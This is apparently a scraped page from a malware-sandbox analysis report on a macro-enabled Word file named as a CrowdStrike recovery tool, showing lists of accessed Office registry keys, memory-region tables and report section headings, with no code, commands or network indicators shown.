HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00006109F100C0400000000000F01FEC\Usage

SpellingAndGrammarFiles_1036

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00006109F100A0C00000000000F01FEC\Usage

SpellingAndGrammarFiles_3082

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00006109F100A0C00000000000F01FEC\Usage

SpellingAndGrammarFiles_3082

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\WordDocParts\1033

NextUpdate

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\WordDocParts\1033

LastUpdate

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\SmartArt\1033

NextUpdate

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\SmartArt\1033

LastUpdate

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\WordDocBibs\1033

LastUpdate

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\Themes\1033

TM03457464

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\Themes\1033

TM03457444

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\Draw

InkToolboxFeatureNotification

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\Roaming

RoamingLastWriteTimeWord

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00006109F10090400000000000F01FEC\Usage

SpellingAndGrammarFiles_1033

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00006109F10090400000000000F01FEC\Usage

SpellingAndGrammarFiles_1033

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\Themes\1033

NextUpdate

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\Themes\1033

LastUpdate

There are 833 hidden registries, click here to show them.

Memdumps

Base Address

Regiontype

Protect

Malicious

25AC545E000

heap

page read and write

25F0000

heap

page read and write

7FFD92CEA000

unkown

page readonly

27F6C399000

heap

page read and write

20A783C2000

heap

page read and write

20A783AA000

heap

page read and write

20A783B4000

heap

page read and write

20A7838E000

heap

page read and write

20A78418000

heap

page read and write

2970000

heap

page read and write

20A783B4000

heap

page read and write

20A78381000

heap

page read and write

27F6C47E000

heap

page read and write

20A78312000

heap

page read and write

21187A10000

heap

page read and write

20A78392000

heap

page read and write

283E000

stack

page read and write

20A7838E000

heap

page read and write

27F6C4A9000

heap

page read and write

28FA000

stack

page read and write

25DF000

stack

page read and write

830000

unkown

page readonly

27F6C4A8000

heap

page read and write

20A783B3000

heap

page read and write

2C0B000

heap

page read and write

287F000

stack

page read and write

30D0000

heap

page read and write

20A783B4000

heap

page read and write

2F50000

heap

page read and write

20A78385000

heap

page read and write

2ECE000

stack

page read and write

4610000

heap

page read and write

307E000

stack

page read and write

25AC5475000

heap

page read and write

3E0000

heap

page read and write

9B0000

heap

page read and write

2EDE000

stack

page read and write

2ED0000

heap

page read and write

27F6C4A9000

heap

page read and write

1F0000

heap

page read and write

4720000

heap

page read and write

2E4F000

stack

page read and write

25AC5670000

heap

page read and write

20A78392000

heap

page read and write

27F6C32F000

heap

page read and write

5E0000

heap

page read and write

27F6C38C000

heap

page read and write

20A78392000

heap

page read and write

2BF0000

heap

page read and write

2BC0000

heap

page read and write

2C08000

heap

page read and write

4A70000

heap

page read and write

4FA2000

heap

page read and write

27F6C2F0000

heap

page read and write

3356000

heap

page read and write

20A78392000

heap

page read and write

7FFD92D2A000

unkown

page read and write

20A783C2000

heap

page read and write

27F6C3D1000

heap

page read and write

20A78392000

heap

page read and write

20A783B3000

heap

page read and write

20A78392000

heap

page read and write

20A783B4000

heap

page read and write

7FFD92BE0000

unkown

page readonly

20A783AA000

heap

page read and write

7FFD92CEA000

unkown

page readonly

20A783C2000

heap

page read and write

20A78347000

heap

page read and write

283E000

stack

page read and write

4907000

heap

page read and write

20A783AA000

heap

page read and write

20A7834C000

heap

page read and write

2C5D000

stack

page read and write

4BB5EFF000

stack

page read and write

3188000

heap

page read and write

27F6C54B000

heap

page read and write

20A7831B000

heap

page read and write

27F6C54B000

heap

page read and write

AFA000

heap

page read and write

57C000

stack

page read and write

4620000

heap

page read and write

21187A40000

heap

page read and write

550000

heap

page read and write

2B90000

heap

page read and write

5F0000

heap

page read and write

3178000

heap

page read and write

20A7838E000

heap

page read and write

30E000

stack

page read and write

831000

unkown

page execute read

3416000

heap

page read and write

20A78400000

heap

page read and write

27F6C314000

heap

page read and write

4760000

heap

page read and write

25AC57F6000

heap

page read and write

4DB0000

heap

page read and write

27F6C3E5000

heap

page read and write

33FB000

heap

page read and write

21187B40000

heap

page read and write

4DC2000

heap

page read and write

7FFD92D2F000

unkown

page readonly

20A78515000

heap

page read and write

20A7838E000

heap

page read and write

27F6C3A9000

heap

page read and write

20A783B3000

heap

page read and write

29CE000

stack

page read and write

3188000

heap

page read and write

36E0000

heap

page read and write

2BA0000

heap

page read and write

861000

unkown

page execute read

6C8F17F000

stack

page read and write

27F6C334000

heap

page read and write

3189000

heap

page read and write

4722000

heap

page read and write

20A783AA000

heap

page read and write

8A0000

unkown

page readonly

20A783B3000

heap

page read and write

20A783B3000

heap

page read and write

350000

heap

page read and write

31A6000

heap

page read and write

310000

heap

page read and write

29BB000

stack

page read and write

39E000

stack

page read and write

20A783B3000

heap

page read and write

20A7840E000

heap

page read and write

47C000

stack

page read and write

27B000

stack

page read and write

339E000

stack

page read and write

4E0000

heap

page read and write

29BE000

stack

page read and write

2480000

heap

page read and write

330000

heap

page read and write

2EE0000

heap

page read and write

20A783B4000

heap

page read and write

860000

unkown

page readonly

2AD000

stack

page read and write

318A000

heap

page read and write

20A783AA000

heap

page read and write

2D98000

heap

page read and write

7FFD92D2A000

unkown

page read and write

27F6C399000

heap

page read and write

20A783C2000

heap

page read and write

3DF000

stack

page read and write

20A78317000

heap

page read and write

27F6C3D4000

heap

page read and write

27F6C470000

heap

page read and write

2BED000

stack

page read and write

20A78392000

heap

page read and write

20A7832C000

heap

page read and write

298E000

stack

page read and write

27F6C488000

heap

page read and write

2B2D000

stack

page read and write

2EF0000

heap

page read and write

2E8E000

stack

page read and write

2F70000

heap

page read and write

2A00000

heap

page read and write

2C00000

heap

page read and write

27F6C3F0000

heap

page read and write

20A7838E000

heap

page read and write

830000

unkown

page readonly

28A8000

heap

page read and write

8D0000

unkown

page readonly

3350000

heap

page read and write

20A78352000

heap

page read and write

21187930000

heap

page read and write

20A783B3000

heap

page read and write

20A783AA000

heap

page read and write

20A783AA000

heap

page read and write

27F6C200000

heap

page read and write

20A78392000

heap

page read and write

320000

heap

page read and write

20A7832A000

heap

page read and write

20A78290000

heap

page read and write

20A783C2000

heap

page read and write

287E000

stack

page read and write

2AD0000

heap

page read and write

20A7838E000

heap

page read and write

979D9F9000

stack

page read and write

28E0000

heap

page read and write

20A78392000

heap

page read and write

27F6C383000

heap

page read and write

20A783AA000

heap

page read and write

3000000

heap

page read and write

2EFD000

stack

page read and write

36DF000

stack

page read and write

2AF0000

heap

page read and write

33E8000

heap

page read and write

27F6C34E000

heap

page read and write

33F0000

heap

page read and write

2A08000

heap

page read and write

DA0000

heap

page read and write

5CA000

heap

page read and write

27F6C2F8000

heap

page read and write

2B3E000

stack

page read and write

28BD000

stack

page read and write

31A7000

heap

page read and write

860000

unkown

page readonly

3183000

heap

page read and write

21187A64000

heap

page read and write

20A783B4000

heap

page read and write

885000

unkown

page readonly

89F000

unkown

page read and write

20A783B4000

heap

page read and write

2F0D000

stack

page read and write

20A783B3000

heap

page read and write

7FFD92D2F000

unkown

page readonly

20A7838E000

heap

page read and write

2ECF000

stack

page read and write

20A78413000

heap

page read and write

3140000

heap

page read and write

31A5000

heap

page read and write

21187B60000

heap

page read and write

7FFD92BE0000

unkown

page readonly

48D0000

heap

page read and write

410000

heap

page read and write

28DB000

heap

page read and write

20A783AA000

heap

page read and write

4BB5CFC000

stack

page read and write

48E1000

heap

page read and write

20A783C2000

heap

page read and write

2EF0000

heap

page read and write

20A784B6000

heap

page read and write

3760000

heap

page read and write

2EA000

stack

page read and write

27F6C34F000

heap

page read and write

4D0000

heap

page read and write

27F6C3A9000

heap

page read and write

20A783B3000

heap

page read and write

20A78392000

heap

page read and write

2DD000

stack

page read and write

3120000

heap

page read and write

20A783B4000

heap

page read and write

27F6C48C000

heap

page read and write

2940000

heap

page read and write

27F6C410000

heap

page read and write

2C70000

heap

page read and write

25AC5450000

heap

page read and write

6C8F1FF000

stack

page read and write

3160000

heap

page read and write

20A783C2000

heap

page read and write

20A7837C000

heap

page read and write

318A000

heap

page read and write

B8E000

stack

page read and write

257D000

stack

page read and write

35DE000

stack

page read and write

290E000

stack

page read and write

20A782D8000

heap

page read and write

27F6C354000

heap

page read and write

20A783AA000

heap

page read and write

254E000

stack

page read and write

20A783AA000

heap

page read and write

25AC5478000

heap

page read and write

27F6C543000

heap

page read and write

20A78510000

heap

page read and write

20A783AA000

heap

page read and write

20A783C2000

heap

page read and write

3010000

heap

page read and write

25CE000

stack

page read and write

3F0000

heap

page read and write

24BE000

stack

page read and write

20A783AA000

heap

page read and write

20A783B3000

heap

page read and write

253F000

stack

page read and write

AF0000

heap

page read and write

317F000

heap

page read and write

20A783C2000

heap

page read and write

2FFD000

stack

page read and write

2580000

heap

page read and write

13B000

stack

page read and write

2E0E000

stack

page read and write

20A783B4000

heap

page read and write

6C8F079000

stack

page read and write

33F3000

heap

page read and write

3183000

heap

page read and write

20A78391000

heap

page read and write

20A7838E000

heap

page read and write

33FA000

heap

page read and write

258E000

stack

page read and write

2F76000

heap

page read and write

29DE000

stack

page read and write

20A783C2000

heap

page read and write

27F6C35C000

heap

page read and write

20A7841C000

heap

page read and write

20A78190000

heap

page read and write

20A783B3000

heap

page read and write

27F6C399000

heap

page read and write

25E0000

heap

page read and write

33F5000

heap

page read and write

27F6C543000

heap

page read and write

336F000

stack

page read and write

33FD000

heap

page read and write

2BD000

stack

page read and write

3260000

heap

page read and write

27F6C491000

heap

page read and write

20A78354000

heap

page read and write

28D0000

heap

page read and write

30BE000

stack

page read and write

20A7838E000

heap

page read and write

2A27000

heap

page read and write

29B000

stack

page read and write

27F6C3DD000

heap

page read and write

8B5000

unkown

page readonly

20A783AA000

heap

page read and write

2E38000

heap

page read and write

27F6C2FF000

heap

page read and write

258F000

stack

page read and write

979DC7F000

stack

page read and write

4BB5DFF000

unkown

page read and write

27F6C5B5000

heap

page read and write

2928000

heap

page read and write

20A7831F000

heap

page read and write

20A783C2000

heap

page read and write

2C50000

heap

page read and write

307F000

stack

page read and write

20A78377000

heap

page read and write

8B5000

unkown

page readonly

27F6C3D8000

heap

page read and write

20A783B4000

heap

page read and write

20A783B4000

heap

page read and write

33F4000

heap

page read and write

20A78392000

heap

page read and write

20A783C2000

heap

page read and write

29FD000

stack

page read and write

318D000

heap

page read and write

2D90000

heap

page read and write

20A783B4000

heap

page read and write

3180000

heap

page read and write

3340000

heap

page read and write

2DC0000

heap

page read and write

25AC545C000

heap

page read and write

25AC5478000

heap

page read and write

861000

unkown

page execute read

21187A4C000

heap

page read and write

2F4E000

stack

page read and write

6C8F0FF000

stack

page read and write

20A783B3000

heap

page read and write

27F6C483000

heap

page read and write

29C0000

heap

page read and write

53C000

stack

page read and write

1D0000

heap

page read and write

21187D20000

heap

page read and write

20A7838E000

heap

page read and write

20A783C2000

heap

page read and write

20A783B4000

heap

page read and write

27F6C366000

heap

page read and write

25AC5650000

heap

page read and write

2590000

heap

page read and write

302E000

heap

page read and write

940000

heap

page read and write

31A5000

heap

page read and write

20A783C2000

heap

page read and write

25AC57F0000

heap

page read and write

27F6C33D000

heap

page read and write

979DDFF000

stack

page read and write

20A7838E000

heap

page read and write

318A000

heap

page read and write

31A5000

heap

page read and write

20A78392000

heap

page read and write

4620000

heap

page read and write

2920000

heap

page read and write

2E30000

heap

page read and write

20A783C2000

heap

page read and write

28A0000

heap

page read and write

20A783AA000

heap

page read and write

59E000

stack

page read and write

280A000

heap

page read and write

20A783AA000

heap

page read and write

27F6C3D0000

heap

page read and write

27F6C3A9000

heap

page read and write

20A784BE000

heap

page read and write

20A7838E000

heap

page read and write

25AC5550000

heap

page read and write

29C8000

heap

page read and write

253B000

stack

page read and write

2C30000

heap

page read and write

20A783B3000

heap

page read and write

D4219FE000

unkown

page read and write

21187D26000

heap

page read and write

20A78270000

heap

page read and write

831000

unkown

page execute read

D4218FC000

stack

page read and write

27F6C3C5000

heap

page read and write

D421AFF000

stack

page read and write

20A783B3000

heap

page read and write

24FE000

stack

page read and write

20A7835E000

heap

page read and write

2F4D000

stack

page read and write

20A784C7000

heap

page read and write

2D5E000

stack

page read and write

20A7838E000

heap

page read and write

3188000

heap

page read and write

21187A4E000

heap

page read and write

27F6C3A9000

heap

page read and write

20A78392000

heap

page read and write

28D8000

heap

page read and write

2940000

heap

page read and write

20A78392000

heap

page read and write

3170000

heap

page read and write

43C000

stack

page read and write

2AEB000

stack

page read and write

17D000

stack

page read and write

20A7838E000

heap

page read and write

20A7838E000

heap

page read and write

20A783B3000

heap

page read and write

318A000

heap

page read and write

25AC5630000

heap

page read and write

2560000

heap

page read and write

20A783B4000

heap

page read and write

2940000

heap

page read and write

8D0000

unkown

page readonly

27F6C37E000

heap

page read and write

28D0000

heap

page read and write

3183000

heap

page read and write

979DCFE000

stack

page read and write

20A78392000

heap

page read and write

33DE000

stack

page read and write

7FFD92BE1000

unkown

page execute read

27F6C399000

heap

page read and write

2D8E000

stack

page read and write

20A78310000

heap

page read and write

27F6C5B0000

heap

page read and write

8A0000

unkown

page readonly

8CF000

unkown

page read and write

27F6C491000

heap

page read and write

21187A67000

heap

page read and write

20A782D0000

heap

page read and write

885000

unkown

page readonly

27F6C3DC000

heap

page read and write

20A783B3000

heap

page read and write

20A783B4000

heap

page read and write

33E0000

heap

page read and write

29FE000

stack

page read and write

5C0000

heap

page read and write

3188000

heap

page read and write

303E000

stack

page read and write

7FFD92BE1000

unkown

page execute read

20A78392000

heap

page read and write

There are 426 hidden memdumps, click here to show them.

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

IOC Report
New_Recovery_Tool_to_help_with_CrowdStrike_issue_impacting_Windows.docm

Files

Processes

URLs

Domains

IPs

Registry

Memdumps

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

IOC ReportNew_Recovery_Tool_to_help_with_CrowdStrike_issue_impacting_Windows.docm

Files

Processes

URLs

Domains

IPs

Registry

Memdumps

IOC Report
New_Recovery_Tool_to_help_with_CrowdStrike_issue_impacting_Windows.docm